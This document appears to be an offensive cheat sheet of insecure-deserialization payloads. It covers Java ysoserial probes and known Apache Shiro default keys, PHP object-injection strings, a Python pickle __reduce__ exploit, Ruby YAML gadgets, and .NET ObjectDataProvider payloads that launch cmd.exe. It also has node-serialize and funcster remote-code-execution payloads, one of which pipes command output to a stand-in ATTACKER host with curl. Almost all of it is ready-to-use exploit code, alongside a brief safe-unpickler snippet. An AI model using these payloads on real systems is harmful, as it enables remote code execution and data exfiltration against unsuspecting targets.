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java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin

Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA==          # most common default
wGJlpLanyXlVB1LUUWolBg==          # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==

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__wakeup()  → called immediately on unserialize()
__destruct() → called when object is garbage-collected
__toString() → called when object is used as string
__call()     → called for inaccessible methods

O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}

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file_exists()    file_get_contents()    fopen()
is_file()        is_dir()               copy()
filesize()       filetype()             stat()
include()        require()              getimagesize()

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import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ("id",))

payload = pickle.dumps(Exploit())

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import pickletools
pickletools.dis(payload)

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pickle.loads(user_data)
pickle.load(file_handle)
yaml.load(data)           # PyYAML without Loader=SafeLoader
jsonpickle.decode(data)
shelve.open(path)

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        raise pickle.UnpicklingError(f"forbidden: {module}.{name}")

Found binary blob or encoded object in request/cookie?
├── Java signature (ac ed / rO0AB)?
│   ├── Use URLDNS probe for safe confirmation
│   ├── Identify libraries (error messages, known product)
│   └── Try ysoserial chains matching identified libraries
│
├── PHP signature (O:N:"...)?
│   ├── Identify framework (Laravel, Symfony, WordPress)
│   ├── Try PHPGGC chains for that framework
│   └── Check for phar:// wrapper in file operations
│
├── Python (opaque binary, base64 blob)?
│   ├── Try pickle payload with DNS callback
│   └── Check if PyYAML unsafe load is used
│
└── Not sure?
    ├── Try URLDNS payload (Java) — check DNS
    ├── Try PHP serialized test string
    └── Monitor error messages for class loading failures

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--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  type: :runtime
  specs:
    - !ruby/object:Gem::StubSpecification
      loaded_from: "|id"

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<root>
  <ObjectDataProvider MethodName="Start" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
    <ObjectDataProvider.MethodParameters>
      <sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">cmd.exe</sys:String>
      <sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">/c whoami</sys:String>
    </ObjectDataProvider.MethodParameters>
    <ObjectDataProvider.ObjectInstance>
      <ProcessStartInfo xmlns="clr-namespace:System.Diagnostics;assembly=System">
        <ProcessStartInfo.FileName>cmd.exe</ProcessStartInfo.FileName>
        <ProcessStartInfo.Arguments>/c whoami</ProcessStartInfo.Arguments>
      </ProcessStartInfo>
    </ObjectDataProvider.ObjectInstance>
  </ObjectDataProvider>
</root>

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib",
    "$values": ["cmd.exe", "/c whoami"]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System"
  }
}

// node-serialize uses eval() internally
// Payload uses _$$ND_FUNC$$_ marker + IIFE:

var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\',function(error,stdout,stderr){console.log(stdout)});}()"}';

// The trailing () makes it an Immediately Invoked Function Expression
// When unserialize() processes this, it executes the function

// Full HTTP exploit (in cookie or body):
{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://ATTACKER/?x=$(id|base64)',function(e,o,s){});}()","email":"test@test.com"}

// funcster deserializes functions via constructor.constructor pattern:
{"__js_function":"function(){var net=this.constructor.constructor('return require')()('child_process');return net.execSync('id').toString();}"}

// When a PHP class uses create_function in __destruct or __wakeup:
// Serialize an object where:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function(){ ;}system('id');/* }
// Closing the original function body and injecting a command

// In serialized form, private properties need \0ClassName\0 prefix:
O:7:"Noteasy":2:{s:19:"\0Noteasy\0method_name";s:15:"create_function";s:14:"\0Noteasy\0args";s:21:";}system('id');/*";}

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**Tools**: `elttam/ruby-deserialization`, `mbechler/ysoserial` (Ruby variant)

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<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
      xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <ObjectDataProvider MethodName="Start">
    <ObjectInstance xsi:type="Process">
      <StartInfo>
        <FileName>cmd.exe</FileName>
        <Arguments>/c whoami</Arguments>
      </StartInfo>
    </ObjectInstance>
  </ObjectDataProvider>
</root>

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System",
    "StartInfo": {
      "$type": "System.Diagnostics.ProcessStartInfo, System",
      "FileName": "cmd.exe",
      "Arguments": "/c whoami"
    }
  }
}

// Vulnerable pattern:
var serialize = require('node-serialize');
var obj = serialize.unserialize(userInput);

// Payload: IIFE (Immediately Invoked Function Expression)
// The _$$ND_FUNC$$_ prefix signals a serialized function
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)})}()"}

// Key: the () at the end causes immediate execution upon deserialization

// Vulnerable: funcster.deepDeserialize(userInput)
// Payload uses __js_function to inject via constructor chain:
{"__js_function":"function(){var net=this.constructor.constructor('return this')().process.mainModule.require('child_process');return net.execSync('id').toString()}()"}

// When create_function is available and object is deserialized:
// Payload creates lambda with injected code:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function anonymous() { ;}system('id');/* }
// Effective: close original body, inject command, comment out rest

// In serialized form (with private property \0ClassName\0):
O:8:"ClassName":2:{s:13:"\0ClassName\0func";s:15:"create_function";s:12:"\0ClassName\0arg";s:18:";}system('id');/*";}